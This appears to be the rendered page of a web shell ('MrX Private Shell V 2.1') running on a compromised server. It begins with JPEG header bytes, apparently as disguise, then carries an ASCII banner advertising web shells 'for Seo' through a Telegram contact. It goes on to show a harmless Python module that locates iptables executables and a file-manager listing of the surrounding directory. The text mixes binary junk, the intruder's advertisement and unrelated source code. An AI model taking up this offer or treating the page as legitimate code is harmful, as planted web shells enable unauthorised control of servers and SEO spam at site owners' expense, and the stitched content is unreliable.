����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
"""Resolve firewall binary paths to absolute locations."""
import logging
import os
from functools import lru_cache
logger = logging.getLogger(__name__)
_SEARCH_DIRS = ("/usr/sbin", "/usr/bin", "/sbin", "/bin")
@lru_cache(maxsize=None)
def _find_executable(name: str) -> str:
"""Resolve *name* to an absolute path by checking well-known directories
first, then ``$PATH``. Returns the bare *name* as a fallback."""
for dir_ in _SEARCH_DIRS:
path = os.path.join(dir_, name)
if os.path.isfile(path) and os.access(path, os.X_OK):
return path
for dir_ in os.environ.get("PATH", "").split(os.pathsep):
if not dir_:
continue
path = os.path.join(dir_, name)
if os.path.isfile(path) and os.access(path, os.X_OK):
return path
logger.error(
"Cannot find executable '%s' in PATH %s",
name,
os.environ.get("PATH"),
)
return name
def get_iptables_exe():
return _find_executable("iptables")
def get_ip6tables_exe():
return _find_executable("ip6tables")
def get_iptables_restore_exe():
return _find_executable("iptables-restore")
def get_ip6tables_restore_exe():
return _find_executable("ip6tables-restore")
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| __init__.py | File | 9.25 KB | 0644 |
|
| base.py | File | 2.02 KB | 0644 |
|
| exe.py | File | 1.22 KB | 0644 |
|
| iptables.py | File | 8.68 KB | 0644 |
|